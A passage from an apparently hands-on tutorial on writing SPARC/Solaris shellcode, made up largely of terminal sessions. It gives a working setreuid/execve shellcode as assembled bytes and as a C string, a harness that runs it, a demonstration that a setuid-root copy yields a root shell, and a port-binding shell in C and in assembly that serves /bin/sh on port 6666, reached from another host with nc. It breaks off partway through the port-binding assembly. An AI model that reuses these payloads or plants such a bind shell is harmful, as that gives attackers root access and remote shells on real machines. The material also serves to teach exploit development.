     char *argn, (char *)0 */);

     int execv(const char *path, char *const argv[]);

     int execle(const char *path, const char *arg0, ... /*  const
     char *argn, (char *)0, char *const envp[]*/);

     int execve(const char *path, char *const argv[], char *const
     envp[]);

entropy@solaris {/export/home/entropy/asm} cat setreuid.s

.align 4
.section .rodata
.equ SYS_SETREUID, 202
.equ SYS_EXECVE, 59
.equ SYS_EXIT, 1
.equ RETVAL, 0
.equ KERNEL, 0x08

.section .text
.global _start
_start:
   xor %o1, %o1, %o0          ! set %o0 to 0
   xor %o1, %o1, %o1          ! set %o1 to 0
   mov SYS_SETREUID, %g1      ! move SYS_SETREUID(202) into %g1
   ta KERNEL                  ! call kernel

   ! '/bin/sh\0' = 2f62696e2f7368
   sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
   or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
   sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
   std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
   sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
   st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
   sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
   xor %o2, %o2, %o2          ! set %o2 to null (third arg)
   mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
   ta KERNEL                  ! call kernel

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs setreuid.s -o setreuid.o
SPARC GAS  setreuid.s                   page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ SYS_SETREUID, 202
   4                    .equ SYS_EXECVE, 59
   5                    .equ SYS_EXIT, 1
   6                    .equ RETVAL, 0
   7                    .equ KERNEL, 0x08
   8
   9                    .section .text
  10                    .global _start
  11                    _start:
  12 0000 901A4009         xor %o1, %o1, %o0          ! set %o0 to 0
  13 0004 921A4009         xor %o1, %o1, %o1          ! set %o1 to 0
  14 0008 821020CA         mov SYS_SETREUID, %g1      ! move SYS_SETREUID(202) into %g1
  15 000c 91D02008         ta KERNEL                  ! call kernel
  16
  17                       ! '/bin/sh\0' = 2f62696e2f7368
  18 0010 210BD89A         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  19 0014 A014216E         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
  20 0018 230BDCDA         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  21 001c E03BBFF0         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
  22 0020 9023A010         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
  23 0024 D023BFF8         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
  24 0028 9223A008         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
  25 002c 941A800A         xor %o2, %o2, %o2          ! set %o2 to null (third arg)
  26 0030 8210203B         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
  27 0034 91D02008         ta KERNEL                  ! call kernel
  28

SPARC GAS  setreuid.s                   page 2


DEFINED SYMBOLS
          setreuid.s:3      *ABS*:00000000000000ca SYS_SETREUID
          setreuid.s:4      *ABS*:000000000000003b SYS_EXECVE
          setreuid.s:5      *ABS*:0000000000000001 SYS_EXIT
          setreuid.s:6      *ABS*:0000000000000000 RETVAL
          setreuid.s:7      *ABS*:0000000000000008 KERNEL
          setreuid.s:11     .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld setreuid.o -o setreuid

entropy@solaris {/export/home/entropy/asm} ./setreuid
$ exit

entropy@solaris {/export/home/entropy/asm} gdb setreuid
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break *_start
Breakpoint 1 at 0x10250: file setreuid.s, line 12.
(gdb) r
Starting program: /export/home/entropy/asm/setreuid

Breakpoint 1, _start () at setreuid.s:12
12         xor %o1, %o1, %o0          ! set %o0 to 0
Current language:  auto; currently asm
(gdb) s
13         xor %o1, %o1, %o1          ! set %o1 to 0
(gdb) s
14         mov SYS_SETREUID, %g1      ! move SYS_SETREUID(202) into %g1
(gdb) s
15         ta KERNEL                  ! call kernel
(gdb) s
18         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
(gdb) s
19         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
(gdb) s
20         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
(gdb) s
21         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
(gdb) s
22         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
(gdb) s
23         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
(gdb) s
24         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
(gdb) s
25         xor %o2, %o2, %o2          ! set %o2 to null (third arg)
(gdb) s
26         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
(gdb) p/x $o0
$1 = 0xffbffd08
(gdb) p/x $o1
$2 = 0xffbffd10
(gdb) p/x $o2
$3 = 0x0
(gdb) x/2x 0xffbffd08
0xffbffd08:     0x2f62696e      0x2f736800
(gdb) x 0xffbffd10
0xffbffd10:     0xffbffd08
(gdb) x/4x $sp-0x10
0xffbffd08:     0x2f62696e      0x2f736800      0xffbffd08      0x00000000
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xff3b3740 in ?? ()
(gdb) c
Continuing.
$ id
uid=500(entropy) gid=100(entropy)
$ exit

Program exited normally.
(gdb) q

And for the shellcode from above we have:

  12 0000 901A4009         xor %o1, %o1, %o0          ! set %o0 to 0
  13 0004 921A4009         xor %o1, %o1, %o1          ! set %o1 to 0
  14 0008 821020CA         mov SYS_SETREUID, %g1      ! move SYS_SETREUID(202) into %g1
  15 000c 91D02008         ta KERNEL                  ! call kernel
  16
  17                       ! '/bin/sh\0' = 2f62696e2f7368
  18 0010 210BD89A         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  19 0014 A014216E         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
  20 0018 230BDCDA         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  21 001c E03BBFF0         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
  22 0020 9023A010         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
  23 0024 D023BFF8         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
  24 0028 9223A008         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
  25 002c 941A800A         xor %o2, %o2, %o2          ! set %o2 to null (third arg)
  26 0030 8210203B         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
  27 0034 91D02008         ta KERNEL                  ! call kernel


entropy@solaris {/export/home/entropy/asm} cat exec1.c
char shellcode[] =
"\x90\x1A\x40\x09"  /* xor %o1, %o1, %o0          */
"\x92\x1A\x40\x09"  /* xor %o1, %o1, %o1          */
"\x82\x10\x20\xCA"  /* mov SYS_SETREUID(202), %g1 */
"\x91\xD0\x20\x08"  /* ta KERNEL(0x08)            */
"\x21\x0B\xD8\x9A"  /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E"  /* or %l0, %lo(0x16e), %l0    */
"\x23\x0B\xDC\xDA"  /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0"  /* std %l0, [%sp - 0x10]      */
"\x90\x23\xA0\x10"  /* sub %sp, 0x10, %o0         */
"\xD0\x23\xBF\xF8"  /* st  %o0, [%sp - 0x8]       */
"\x92\x23\xA0\x08"  /* sub %sp, 0x8, %o1          */
"\x94\x1A\x80\x0A"  /* xor %o2, %o2, %o2          */
"\x82\x10\x20\x3B"  /* mov SYS_EXECVE(59), %g1    */
"\x91\xD0\x20\x08"; /* ta KERNEL(0x08)            */

int
main (int argc, char **argv)
{
        int (*ret)();              /* ret is a function pointer */
        ret = (int(*)())shellcode; /* ret points to our shellcode */
                                  /* shellcode is type caste as a function */
        (int)(*ret)();             /* execute, as a function, shellcode[] */
        exit(0);                   /* exit() */
}

entropy@solaris {/export/home/entropy/asm} gcc exec1.c

entropy@solaris {/export/home/entropy/asm} ./a.out
$ id
uid=500(entropy) gid=100(entropy)
$ exit

entropy@solaris {/export/home/entropy/asm} su
Password:

# chmod u+s a.out
# chown root a.out
# exit

entropy@solaris {/export/home/entropy/asm} ./a.out
# id
uid=0(root) gid=100(entropy)
# exit

entropy@solaris {/export/home/entropy/asm} rm a.out
rm: a.out: override protection 755 (yes/no)? y

Fun times, fun times. Now lets try some portbinding shellcode.

entropy@solaris {/export/home/entropy/asm} cat portbind.c
#include 
#include 
#include 
#include 

#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666

int
main (void) {
        char *shell[2];
        int listenSocket, acceptSocket, len;
        struct sockaddr_in s;
        /* create a tcp socket */
        listenSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        /* address family */
        s.sin_family = AF_INET;
        /* bind to all address on box */
        s.sin_addr.s_addr = htonl(INADDR_ANY);
        /* listen on the port */
        s.sin_port = htons(PORT);
        /* bind to port */
        bind(listenSocket, (struct sockaddr *)&s, sizeof(s));
        /* listen for connects */
        listen(listenSocket, 1);
        len = sizeof(s);
        /* accept a connect on listenign socket */
        acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(acceptSocket, STDIN);
        dup2(acceptSocket, STDOUT);
        dup2(acceptSocket, STDERR);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        exit(0);
}


entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind.c

entropy@solaris {/export/home/entropy/asm} ./a.out

Now from a different host (solaris is the hostname of the box running the code):

entropy@phalaris {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc solaris 6666
id
uid=500(entropy) gid=100(entropy)
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
pwd
/export/home/entropy/asm
exit

entropy@phalaris {~}

That works. We need the \n newline and \x00 null because we have no controlling
terminal to append these to the strings we type.

We need to get rid of as much of our include as possible and know the values for
everything we are using. Lets go through and find out as much as possible (syscalls 
we dont have to get rid of) check out what a struct sockaddr_in is defined as.

entropy@solaris {/export/home/entropy/asm} pico /usr/include/netinet/in.h

*** Everything below on assumption of !defined(_XPG4_2) || defined(__EXTENSIONS__).

/*
 * IPv4 Socket address.
 */
struct sockaddr_in {
        sa_family_t     sin_family;
        in_port_t       sin_port;
        struct  in_addr sin_addr;
#if !defined(_XPG4_2) || defined(__EXTENSIONS__)
        char            sin_zero[8];
#else
        unsigned char   sin_zero[8];
#endif /* !defined(_XPG4_2) || defined(__EXTENSIONS__) */
};

And we need the struct in_addr (defined same file):

struct in_addr {
        union {
                struct { uint8_t s_b1, s_b2, s_b3, s_b4; } _S_un_b;
                struct { uint16_t s_w1, s_w2; } _S_un_w;
#if !defined(_XPG4_2) || defined(__EXTENSIONS__)
                uint32_t _S_addr;
#else
                in_addr_t _S_addr;
#endif /* !defined(_XPG4_2) || defined(__EXTENSIONS__) */
        } _S_un;
#define s_addr  _S_un._S_addr           /* should be used for all code */
#define s_host  _S_un._S_un_b.s_b2      /* OBSOLETE: host on imp */
#define s_net   _S_un._S_un_b.s_b1      /* OBSOLETE: network */
#define s_imp   _S_un._S_un_w.s_w2      /* OBSOLETE: imp */
#define s_impno _S_un._S_un_b.s_b4      /* OBSOLETE: imp # */
#define s_lh    _S_un._S_un_b.s_b3      /* OBSOLETE: logical host */
};

Uh. So looks like its the define: s_addr  _S_un._S_addr and using that info
on the union we get in_addr_t.

And finally the types for sa_family_t, in_addr_t and in_port_t (same file):

typedef uint16_t        sa_family_t;
typedef uint32_t        in_addr_t;
typedef uint16_t        in_port_t;

So to put this all together we have:

struct sockaddr_in {
        uint16_t     	sin_family;  /* 2 bytes */
        uint16_t      	sin_port;    /* 2 bytes */
        uint32_t	sin_addr;    /* 4 bytes */
        char            sin_zero[8]; /* 8 bytes */
};

Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET, 
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.

entropy@solaris {/export/home/entropy/asm} pico /usr/include/sys/socket.h

#define PF_INET         AF_INET
#define AF_INET         2               /* internetwork: UDP, TCP, etc. */

#define SOCK_STREAM     NC_TPI_COTS     /* stream socket */
#define NC_TPI_COTS     2               /* must agree with netconfig.h */

entropy@solaris {/export/home/entropy/asm} pico /usr/include/netinet/in.h

#define IPPROTO_TCP             6               /* tcp */
#define INADDR_ANY              0x00000000U

So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 2
IPPROTO_TCP = 6
INADDR_ANY = 0

The htons is just a nop on solaris, as solaris is big-endian.

With this info we can rewrite the portbind.c with our new info, we need these for 
our asm as we will have less includes and will be calling syscalls directly. The only 
change we will make is to rename "struct sockaddr_in" because on solaris in.h is included
in socket.h and so we would get a redefinition error.

entropy@solaris {/export/home/entropy/asm} cat portbind2.c
#include 
#include 
#include 

struct our_sockaddr_in {             /* renamed sockaddr_in */
        uint16_t        sin_family;  /* 2 bytes */
        uint16_t        sin_port;    /* 2 bytes */
        uint32_t        sin_addr;    /* 4 bytes */
        char            sin_zero[8]; /* 8 bytes */
};

int
main (void)
{
        char *shell[2];
        int listenSocket, acceptSocket, len;
        struct our_sockaddr_in s;  /* renamed sockaddr_in */
        /* create a tcp socket */
        listenSocket = socket(2, 2, 6);
        /* address family */
        s.sin_family = 2;
        /* bind to all address on box */
        s.sin_addr = 0;
        /* listen on the port */
        s.sin_port = 6666;
        /* bind to port */
        bind(listenSocket, (struct sockaddr *)&s, 16);
        /* listen for connects */
        listen(listenSocket, 1);
        len = 16;
        /* accept a connect on listenign socket */
        acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        dup2(acceptSocket, 0);
        dup2(acceptSocket, 1);
        dup2(acceptSocket, 2);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        exit(0);
}

entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind2.c

entropy@solaris {/export/home/entropy/asm} ./a.out &
[1] 703

entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST
      *.22                 *.*                0      0 49152      0 LISTEN
      *.6666               *.*                0      0 49152      0 LISTEN
      *.22                 *.*                             0      0 49152      0 

Again from a different host:

entropy@phalaris {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc 192.168.1.149 6666
id
uid=500(entropy) gid=100(entropy)
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
pwd
/export/home/entropy/asm
exit

entropy@phalaris {~}

Works. Lets get all the syscall numbers we need, which are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().

*** BIG NOTE *** 
These system calls sometimes called undocumented system calls, for instance socket
calls so_socket which has five arguments not three, and listen calls listen and this 
listen has three arguments. Kepp this in mind if wierd things are happening you can
always go back and dtrace or truss the c version binary and compare the system calls.


entropy@solaris {/export/home/entropy/asm} grep  /usr/include/sys/syscall.h

#define SYS_so_socket           230
#define SYS_bind                232
#define SYS_listen              233
#define SYS_accept              234
#define SYS_dup		        41
#define SYS_execve              59
#define SYS_exit                1
#define SYS_close       	6
#define SYS_fcntl       	62

Since there is no dup2 syscall we have to change the portbind code a bit to:

entropy@solaris {/export/home/entropy/asm} cat portbind2.c
#include 
#include 
#include 

struct our_sockaddr_in {             /* renamed sockaddr_in */
        uint16_t        sin_family;  /* 2 bytes */
        uint16_t        sin_port;    /* 2 bytes */
        uint32_t        sin_addr;    /* 4 bytes */
        char            sin_zero[8]; /* 8 bytes */
};

int
main (void)
{
        char *shell[2];
        int listenSocket, acceptSocket, len;
        struct our_sockaddr_in s;  /* renamed sockaddr_in */
        /* create a tcp socket */
        listenSocket = socket(2, 2, 6);
        /* address family */
        s.sin_family = 2;
        /* bind to all address on box */
        s.sin_addr = 0;
        /* listen on the port */
        s.sin_port = 6666;
        /* bind to port */
        bind(listenSocket, (struct sockaddr *)&s, 16);
        /* listen for connects */
        listen(listenSocket, 1);
        len = 16;
        /* accept a connect on listenign socket */
        acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
        /* dup stdin, out and err to the newly created socket */
        close(0);
        fcntl(acceptSocket, 0, 0);
        close(1);
        fcntl(acceptSocket, 0, 1);
        close(2);
        fcntl(acceptSocket, 0, 2);
        /* char **shell */
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        /* exec the shell */
        execve(shell[0], shell, NULL);
        /* never reach here, well hopefully */
        exit(0);
}

Now we need their prototypes (man ):

socket:
     This really calls the undocumented call so_socket the first three args
     are the same the 4th should be 0 the 5th should be 1.

     int socket(int domain, int type, int protocol);

bind:
     int bind(int s, const struct sockaddr *name, int namelen);

listen:
     This really calls listen(int s, int backlog, SOV_DEFAULT);

     man -s3SOCKET listen
     int listen(int s, int backlog);

accept:
     man -s3SOCKET accept
     int  accept(int  s,   struct   sockaddr   *addr,   socklen_t *addrlen);

dup:
     int dup(int fildes);

execve:
     int execve(const char *path, char *const argv[], char *const envp[]);

exit:
    void _exit(int status);

fcntl:
    int fcntl(int fildes, int cmd, /* arg */ ...);

close:
    int close(int fildes);

At this point we have everything we need to start coding, we'll go in pieces.

First do all the equates we need, call socket set up the sockaddr_in on the
stack call bind and exit.

entropy@solaris {/export/home/entropy/asm} cat portbind.s

.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

   mov PF_INET, %o0          ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3         ! xor %o3 to 0
   sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
   mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
   ta KERNEL                 ! call socket
   and %o0, %o0, %l0         ! save sock in %l0

                             ! 8 bytes we skip for char zero[8]
   mov INADDR_ANY, %l1       ! mov INADDR_ANY(0) to %l1
   st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
   mov PORT, %l1             ! mov PORT(6666) to %l1
   sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1          ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16

   mov %l0, %o0              ! mov the sock to %o0
   sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
   ta KERNEL                 ! call kernel

   xor %o0, %o0, %o0
   mov SYS_EXIT, %g1
   ta KERNEL


entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
SPARC GAS  portbind.s                   page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ KERNEL, 0x08
   4                    .equ SYS_SOCKET, 230
   5                    .equ SYS_BIND, 232
   6                    .equ SYS_LISTEN, 233
   7                    .equ SYS_ACCEPT, 234
   8                    .equ SYS_DUP, 41
   9                    .equ SYS_EXECVE, 59
  10                    .equ SYS_EXIT,1
  11                    .equ SOCKADDR_IN_SIZE, 16
  12                    .equ PF_INET, 2
  13                    .equ AF_INET, 2
  14                    .equ SOCK_STREAM, 2
  15                    .equ IPPROTO_TCP, 6
  16                    .equ INADDR_ANY, 0
  17                    .equ PORT, 6666
  18                    .equ STDIN, 0
  19                    .equ STDOUT, 1
  20                    .equ STDERR, 2
  21
  22                    .section .text
  23                    .global _start
  24                    _start:
  25
  26 0000 90102002         mov PF_INET, %o0
  27 0004 92102002         mov SOCK_STREAM, %o1
  28 0008 94102006         mov IPPROTO_TCP, %o2
  29 000c 961A4009         xor %o1, %o1, %o3
  30 0010 98222001         sub %o0, 1, %o4
  31 0014 821020E6         mov SYS_SOCKET, %g1
  32 0018 91D02008         ta KERNEL
  33 001c A00A0008         and %o0, %o0, %l0
  34
  35 0020 A2102000         mov INADDR_ANY, %l1
  36 0024 E223BFF4         st  %l1, [%sp - 0xc]
  37 0028 A2103A0A         mov PORT, %l1
  38 002c E233BFF2         sth %l1, [%sp - 0xe]
  39 0030 A2102002         mov AF_INET, %l1
  40 0034 E233BFF0         sth %l1, [%sp - 0x10]
  41
  42 0038 90100010         mov %l0, %o0
  43 003c 9223A010         sub %sp, 0x10, %o1
  44 0040 94102010         mov SOCKADDR_IN_SIZE, %o2
  45 0044 821020E8         mov SYS_BIND, %g1
  46 0048 91D02008         ta KERNEL
  47
  48 004c 901A0008         xor %o0, %o0, %o0
  49 0050 82102001         mov SYS_EXIT, %g1
  50 0054 91D02008         ta KERNEL

SPARC GAS  portbind.s                   page 2


DEFINED SYMBOLS
          portbind.s:3      *ABS*:0000000000000008 KERNEL
          portbind.s:4      *ABS*:00000000000000e6 SYS_SOCKET
          portbind.s:5      *ABS*:00000000000000e8 SYS_BIND
          portbind.s:6      *ABS*:00000000000000e9 SYS_LISTEN
          portbind.s:7      *ABS*:00000000000000ea SYS_ACCEPT
          portbind.s:8      *ABS*:0000000000000029 SYS_DUP
          portbind.s:9      *ABS*:000000000000003b SYS_EXECVE
          portbind.s:10     *ABS*:0000000000000001 SYS_EXIT
          portbind.s:11     *ABS*:0000000000000010 SOCKADDR_IN_SIZE
          portbind.s:12     *ABS*:0000000000000002 PF_INET
          portbind.s:13     *ABS*:0000000000000002 AF_INET
          portbind.s:14     *ABS*:0000000000000002 SOCK_STREAM
          portbind.s:15     *ABS*:0000000000000006 IPPROTO_TCP
          portbind.s:16     *ABS*:0000000000000000 INADDR_ANY
          portbind.s:17     *ABS*:0000000000001a0a PORT
          portbind.s:18     *ABS*:0000000000000000 STDIN
          portbind.s:19     *ABS*:0000000000000001 STDOUT
          portbind.s:20     *ABS*:0000000000000002 STDERR
          portbind.s:24     .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind

entropy@solaris {/export/home/entropy/asm} truss portbind

[...snip...]

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFD20, 16, SOV_STREAM)             = 0
_exit(0)

So far so good, add in listen() and accept(). Again remember that this listen has 
three arguemts and the accept has four. You can find this out by compiling the c version
of the portbind code and then truss a.out and looking at the syscalls. For instance:

entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind.c
entropy@solaris {/export/home/entropy/asm} truss a.out

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFCE0, 16, SOV_SOCKBSD)            = 0
listen(3, 1, SOV_DEFAULT)                       = 0
accept(3, 0xFFBFFCE0, 0xFFBFFCF4, SOV_DEFAULT) (sleeping...)

So from here we know so_socket takes its normal argvs plus a null and SOV_DEFAULT which
is 1, bind is the same as its proto, listen takes a extra SOV_DEFAULT and so does accept.
Once you keep this in mind things get easier.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

   mov PF_INET, %o0          ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3         ! xor %o3 to 0
   sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
   mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
   ta KERNEL                 ! call socket
   and %o0, %o0, %l0         ! save sock in %l0

                             ! 8 bytes we skip for char zero[8]
   mov INADDR_ANY, %l1       ! mov INADDR_ANY(0) to %l1
   st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
   mov PORT, %l1             ! mov PORT(6666) to %l1
   sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1          ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16

   mov %l0, %o0              ! mov the sock to %o0
   sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
   ta KERNEL                 ! call kernel

   mov %l0, %o0              ! mov the sock into %o0
   and %o4, %o4, %o1         ! backlog 1
   and %o4, %o4, %o2         ! extra SOV_DEFAULT
   mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
   ta KERNEL                 ! call kernel

   ! we need 16 more for the client sockaddr_in plus 4 for its size

   mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
   st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address

   mov %l0, %o0              ! mov the sock into %o0
   sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
   sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
   and %o4, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
   mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
   ta KERNEL                 ! call kernel

   xor %o0, %o0, %o0
   mov SYS_EXIT, %g1
   ta KERNEL

Compile and test it.

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} truss portbind

[...snip...]

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFD20, 16, SOV_STREAM)             = 0
listen(3, 1, SOV_DEFAULT)                       = 0
accept(3, 0xFFBFFD10, 0xFFBFFD0C, SOV_DEFAULT) (sleeping...)
^C    Received signal #2, SIGINT, in accept() [default]

Looks good.

entropy@solaris {/export/home/entropy/asm} ./portbind &
[1] 1151

entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST
      *.22                 *.*                0      0 49152      0 LISTEN
      *.64010              *.*                0      0 49152      0 LISTEN

Whoops listening on the wrong port, change the mov PORT line to a sethi/or.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

   mov PF_INET, %o0          ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3         ! xor %o3 to 0
   sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
   mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
   ta KERNEL                 ! call socket
   and %o0, %o0, %l0         ! save sock in %l0

                             ! 8 bytes we skip for char zero[8]
   mov INADDR_ANY, %l1       ! mov INADDR_ANY(0) to %l1
   st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
   sethi %hi(PORT), %l1      ! set the high bits of %l1
   or %l1, %lo(PORT), %l1    ! set the lo bits of %l1 to our port
   sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1          ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16

